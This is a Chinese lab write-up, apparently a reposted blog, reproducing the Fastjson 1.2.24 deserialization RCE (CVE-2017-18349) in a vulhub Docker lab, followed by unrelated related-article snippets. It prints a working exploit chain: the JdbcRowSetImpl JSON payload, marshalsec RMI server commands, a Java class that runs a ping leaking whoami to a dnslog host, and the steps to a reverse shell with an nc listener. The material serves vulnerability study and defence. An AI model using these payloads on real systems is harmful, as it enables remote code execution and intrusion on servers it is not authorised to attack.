【漏洞复现】5. Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)复现

news2024/9/20 1:21:59

文章目录

  • 1. 预备知识
  • 2. 漏洞复现
    • 2.1 漏洞介绍
    • 2.2 漏洞原理分析
      • 2.2.1 Fastjson序列化/反序列化原理
      • 2.2.2 Fastjson反序列化漏洞原理
    • 2.3 实验环境
      • 2.3.1 靶场搭建
    • 2.3.2 攻击机配置
      • 2.3.3 Java反序列化工具marshalsec:
      • 2.4 漏洞复现
      • 2.4.1 漏洞探测
    • 2.5 漏洞修复

1. 预备知识

在这里插入图片描述

Fastjson是一款高性能的Java JSON处理库,由阿里巴巴集团开发和维护。作为一个中间件,Fastjson提供了快速、灵活和可靠的JSON序列化和反序列化功能,使开发者能够在Java应用程序中轻松处理JSON数据。
Fastjson具有以下主要特性:

  1. 高性能:Fastjson是一个高性能的JSON处理库,具有快速的序列化和反序列化能力。它采用了一系列优化技术,如缓存机制、算法优化和数据结构设计,以实现最佳的性能。Fastjson在序列化和反序列化大型JSON数据时表现出色,是处理高吞吐量数据的理想选择。
  2. 灵活性:Fastjson提供了丰富的配置选项和灵活的使用方式。开发者可以通过注解、API调用或者配置文件来定义JSON与Java对象之间的映射关系。Fastjson支持复杂的数据结构,如嵌套对象、集合和数组等,以满足不同类型的数据处理需求。
  3. 数据转换:Fastjson支持将Java对象转换为JSON字符串,也支持将JSON字符串转换为Java对象。开发者可以轻松地进行对象到JSON的转换和JSON到对象的转换,无需繁琐的手动操作。Fastjson还提供了便捷的数据格式化功能,如日期格式化、数字精度控制和空值处理等。
  4. 安全性:Fastjson在数据处理过程中注重安全性。它提供了防止JSON注入攻击的机制,避免恶意JSON数据对系统造成损害。Fastjson支持过滤器功能,可以控制和限制特定类型的数据访问,提供更加安全的数据处理环境。
  5. 社区支持:Fastjson拥有庞大的用户和开发者社区,提供了广泛的文档资源、示例代码和技术支持。开发者可以通过社区获取帮助、解决问题,并分享自己的经验和贡献。Fastjson持续更新和改进,致力于提供更好的性能和功能。
    Fastjson作为一款成熟的JSON处理库,被广泛应用于Java开发领域。它在各种场景下都能提供高效、可靠的JSON数据处理能力,包括Web应用程序、分布式系统、移动应用和大数据处理等。通过使用Fastjson,开发者可以轻松地处理和操作JSON数据,实现高效的数据交换和处理。

2. 漏洞复现

2.1 漏洞介绍

FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象,使用非常方便,号称是执行速度最快的库。
在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞,fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

2.2 漏洞原理分析

2.2.1 Fastjson序列化/反序列化原理

Fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。
那么为什么要引进AutoType功能呢?
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

2.2.2 Fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:
1、攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell之类的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码,被攻击者成功利用。
按照理解画了如下的图,大致解释一下整个流程:
在这里插入图片描述

2.3 实验环境

本实验用kali虚拟机使用docker搭建vulhub靶场,复现fastjson1.2.24

  • fastjson<=1.2.24
  • VPS(kali-linux-2023.1)
  • 工具:marshalsec,burpsuit,dnslog平台

2.3.1 靶场搭建

进入对应的目录后,使用docker-compose up –d命令启动靶场:
在这里插入图片描述

然后用docker ps查看对应的容器端口号,如下图,端口为8090
在这里插入图片描述

用ifconfig查看虚拟机ip,可看到kali的ip为192.168.10.132,浏览器访问虚拟机ip:8090,页面显示如下:
在这里插入图片描述

即可看到JSON格式的输出,靶场搭建成功。

2.3.2 攻击机配置

操作系统:kali-linux-2023.1
配置Java环境:
在复现的过程中出现了许多的问题,在最后发送bp改过的数据包之后,一直无法获取shell,也无法创建文件,后来发现是java和javac的版本问题,要保证是1.8的版本,高版本不适用。
官网下载java8jdk,解压后配置环境变量
在这里插入图片描述

重新载入profile生效:source /etc/profile
通过 java -version以及javac -version即可看到是否安装完成:
在这里插入图片描述

2.3.3 Java反序列化工具marshalsec:

安装marshalsec需要先安装:maven
下载:wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
解压:

mkdir /opt/maven tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置环境变量:vim /etc/profile
在这里插入图片描述

验证maven是否安装成功:mvn -version

下载:git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ 编译项目:mvn clean package –DskipTests
在这里插入图片描述

编译成功后进入target目录:cd target/ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999

2.4 漏洞复现

2.4.1 漏洞探测

访问8090靶场环境,抓包,修改POST请求方式,发送一个post请求,发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息
在这里插入图片描述
在这里插入图片描述

通过返回包报错信息看出是fastjson框架
接下来使用在线dnslog平台https://dig.pm/配置dnslog:
在这里插入图片描述

以同样的方式抓包,修改为POST请求方式,并将Content-Type修改为application/json格式,然后发送的数据内容为• {“zeo”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog”}},dnslog修改为刚才得到的子域名,可以看到响应状态码为200
在这里插入图片描述

刷新dnslog,发现有访问,说明存在fastjson反序列化漏洞
在这里插入图片描述

5.4.2 漏洞利用
利用dnslog探测是否出网:
在攻击机上创建dnslog.java,主要执行的语句为:String[] commands = { “/bin/sh”, “-c”, “ping user.whoami.874dad2f.ipv6.1433.eu.org“};,即向dnslog平台发起ping,

import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[]commands={/bin/sh”,-c”,“ping user.`whoami`.874dad2f.ipv6.1433.eu.org“};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在这里插入图片描述

javac dnslog.java编译生成dnslog.class文件,传到外网系统中(这里传到kali服务器中)
在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:python -m http.server 4444
在这里插入图片描述
然后查看此网址,会看到网站服务器的目录:http://虚拟机ip:4444/

在这里插入图片描述

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类

dnslog.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.132:4444/#dnslog" 9999

在这里插入图片描述

刷新靶场(http://192.168.10.132:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中改为以下payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.132:9999/dnslog",
        "autoCommit":true
    }
}

在这里插入图片描述

可以看到靶场向rmi服务器发起请求,从http服务器下载dnslog.class并执行,刷新dnslog平台,可以看到有新的访问记录,靶场出网成功
在这里插入图片描述

远程创建文件:
尝试在靶场目录tmp创建successFrank文件
javac TouchFile.java编译生成TouchFile.class文件,重启http服务器
在这里插入图片描述

抓包,原理和上述相同,只需要修改payload如下:

在这里插入图片描述
在这里插入图片描述

响应状态码为500,可以看到靶场向rmi服务器发起请求,从http服务器下载TouchFile.class并执行
检测tmp目录是否成功创建了successFrank文件
在这里插入图片描述

反弹shell的获取:
基本思路和前面是一样的,改一下恶意站点的java代码
在这里插入图片描述

重启http服务器和rmi服务器
在这里插入图片描述

另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:nc -lvnp 7777
在这里插入图片描述

修改payload:
在这里插入图片描述

正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了
在这里插入图片描述

漏洞复现成功!

2.5 漏洞修复

  1. fastjson 版本至少升级到 1.2.58
  2. 及时升级Java环境版本
  3. WAF拦截规则,设置白名单

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1533399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux:离线安装 jdk-8(配置Java环境)

Linux&#xff1a;离线安装 jdk-8&#xff08;配置Java环境&#xff09; 1、jdk简介2、检查已安装的Java版本&#xff0c;并卸载3、准备安装包4、解压安装包、进行安装5、设置环境变量(全局/个人) &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f…

数据库系统概论-第12章 数据库管理系统

12.1 数据管理系统的基本功能 12.2 数据库管理系统的系统结构 12.3 语言处理层 12.4 数据存取层 12.5 缓冲区管理 12.6 数据库的物理组织 12.7 小结

docker方式进行pytorch多机多卡分布式训练

docker ip共享与gpu指定 1)ip共享 docker网络有多种,这里选择host直接用宿主机的ip 2)指定gpu docker方式进行pytorch多机多卡分布式训练 nvidia docker 容器介绍链接:https://docs.nvidia.com/deeplearning/frameworks/pytorch-release-notes/ docker用的nvidia官方镜像…

5G里面NR,gNB,en-gNB,ng-eNB是什么意思

不得不提一个国际组织&#xff0c;叫国际电信联盟(ITU, International Telecommunication Union)&#xff0c;简称国际电联。我们先看看国际电联的自我介绍&#xff1a; 国际电信联盟 『国际电联 (国际电信联盟) 是主管信息通信技术事务&#xff08;ICT&#xff09;的联合国机…

Jmeter-基础元件使用(二)-属性及对数据库简单操作

一、Jmeter属性 当我们想要在不同线程组中使用某变量&#xff0c;就需要使用属&#xff0c;此时Jmeter属性的设置需要函数来进行set和get操作 1.创建set函数 2.然后采用Beanshell取样器进行函数执行 3.调用全局变量pro_id 4.将上面生成的函数字符串粘贴到另一个线程组即可…

全球首个AI程序员诞生,码农饭碗一夜被砸!10块IOI金牌华人团队震撼打造,996写代码训练模型

全球首位AI软件工程师Devin诞生了&#xff0c;它掌握全栈技能&#xff0c;云端部署、底层代码、改bug、训练和微调AI模型都不在话下。最可怕的是&#xff0c;它完全不怕996&#xff0c;老黄的预言是彻底成真了&#xff01; 就在刚刚&#xff0c;世界上第一位AI程序员Devin诞生…

AI程序员已诞生,如何保住自己饭碗?

一、背景 全球首位AI程序员Devin的诞生无疑引发了业界对职业前景和人工智能影响的热烈讨论。AI程序员的出现确实预示着人工智能技术在编程领域的重大突破&#xff0c;它们能够进行自主学习、修复bug、掌握全栈技能&#xff0c;并且在特定场景下展现出了替代部分人类程序员工作…

Windows创建Linux虚拟环境-WSL

使用工具WSL 官方安装使用文档 安装 WSL | Microsoft Learn 开始通过 WSL 使用 VS Code | Microsoft Learn 具体过程 1. cmd以“管理员身份运行”&#xff0c;执行以下指令&#xff0c;安装完成后&#xff0c;电脑重启&#xff0c;安装完成生效。 wsl --install 2. 查看…

基于yolov5的单目测距实现与总结+相机模型+标定

写这篇文章的目的是为了总结我之前看的标定&#xff0c;相机模型以及单目测距的内容&#xff0c;如果有错误&#xff0c;还请不吝赐教。 参考链接&#xff1a; 相机模型、相机标定及基于yolov5的单目测距实现 深度学习目标检测目标追踪单目测距 单目测距代码部署&#xff08;目…

jmeter的函数助手使用方法

如某个上传文件接口&#xff0c;一个文件只能同时被一个接口调用&#xff0c;如果被并发同时调用就会报错 创建多个测试文件 比如50并发&#xff0c;创建更多的文件防止并发多时随机数生成重复 生成随机数函数 工具–函数助手-选择random-输入范围&#xff08;1-696&#…

在阿里云服务器添加ssh,方便远程登录

前言&#xff1a; 添加ssh密钥步骤&#xff1a; chmod 700 .ssh #创建ssh cd .ssh chmod 700 authorized_keys #添加权限密钥 vim authorized_keys #编辑密钥 添加本地电脑ssh密钥 vim /etc/ssh/sshd_config #更改ssh配置文件 配置文件 # no default banner path #Banner no…

[Qt学习笔记]Qt使用MFC编译生成dll库在无编程环境电脑出现无法加载dll的问题

目录 1、 问题介绍2、 问题分析3、 问题总结和思考 1、 问题介绍 在项目实践中&#xff0c;使用Qt调用了一个vs创建的dll库&#xff0c;在本机上编译和release后的exe可以加载对应的dll文件&#xff0c;将exe拷贝到有vs编程环境的电脑上也可以加载对应的dll文件&#xff0c;但…

开篇介绍——蓝桥赛前冲刺(JavaB组)

开篇介绍 蓝桥杯赛事时间安排 专栏内容介绍 在接下来的几天时间内&#xff0c;老汉会不间断的更新该专栏&#xff0c;主要针对蓝桥杯B组赛事高频考点的复习巩固&#xff0c;其中包括老汉认为较优质的算法讲解&#xff08;文章、视频&#xff09;&#xff0c;以及对应的真题、…

GPU 使用率监测及可视化

1. 使用 nvidia-smi可视化 直接在终端输入nvidia-smi动态查看GPU的使用情况watch -n 0.5 nvidia-smi其中0.5表示每隔0.5秒更新一次,时间可以调整 2. 使用nvitop可视化 2.1 nvitop的使用 (1) 安装 pip install nvitop(2) 查看GPU使用率 nvitop

全覆盖路径规划开源项目Clean-robot-turtlebot3原理及流程概括总结

本系列文章主要介绍全覆盖路径规划开源项目Clean-robot-turtlebot3的相关内容&#xff0c;包含如下四篇文章&#xff0c;分别介绍了开源项目Clean-robot-turtlebot3流程的概括总结、ROS坐标系常用坐标及其变换、Clean-robot-turtlebot3关键函数解析等内容。 1、全覆盖路径规划开…

第八篇【传奇开心果系列】Python自动化办公库技术点案例示例:深度解读使用Python库清洗处理从PDF文件提取的文本

传奇开心果博文系列 系列博文目录Python自动化办公库技术点案例示例系列 博文目录前言一、Python清洗处理文本的常见步骤二、使用Python库去除非文本元素示例代码三、使用Python库去除格式化元素的示例代码四、使用Python库去除空白字符示例代码五、使用Python库合并段落和行示…

制造业工厂为什么需要生产管理MES系统

一、制造业的生产管理需求与痛点 日趋激烈的市场竞争、客户对产品多样化要求越来越高&#xff0c;导致产品的生命周期缩短&#xff0c;企业需要通过智能制造实现降本、增效、提质&#xff0c;以提高企业的快速响应能力和核心竞争力。 二、生产管理的过程的痛点具体表现如下&am…

ai写作润色工具有哪些?工具大盘点!

ai写作润色工具有哪些&#xff1f;在内容创作日益繁荣的今天&#xff0c;无论是今日头条还是百家号自媒体平台&#xff0c;一篇好的文章往往能吸引大量的读者。而一篇好的文章&#xff0c;除了内容有深度、观点独到之外&#xff0c;还需要有吸引人的标题和流畅、生动的文笔。这…

【大数据】三、HDFS 基础原理

HDFS HDFS 是一种典型的分布式文件系统&#xff0c;但其不是唯一的分布式文件系统 HDFS 是一种新型的文件系统&#xff0c;不同于传统的文件系统&#xff0c;新型文件系统解决了传统文件系统存在的负载不均衡与网络瓶颈问题。 但归根结底、这些弊端都是由传统文件系统所存在…

利用matplotlib对list数据画曲线

平时有时候分析数据需要画一张如下较为完整的图&#xff0c;所以写个博文在有需要的时候过来快速粘贴下 import matplotlib.pyplot as plt# 两个示例列表 list_xl [0.219683, 0.217855, 0.214003, 0.211832, 0.211356, 0.210974, 0.210622, 0.210312, 0.210040, 0.209794,0.…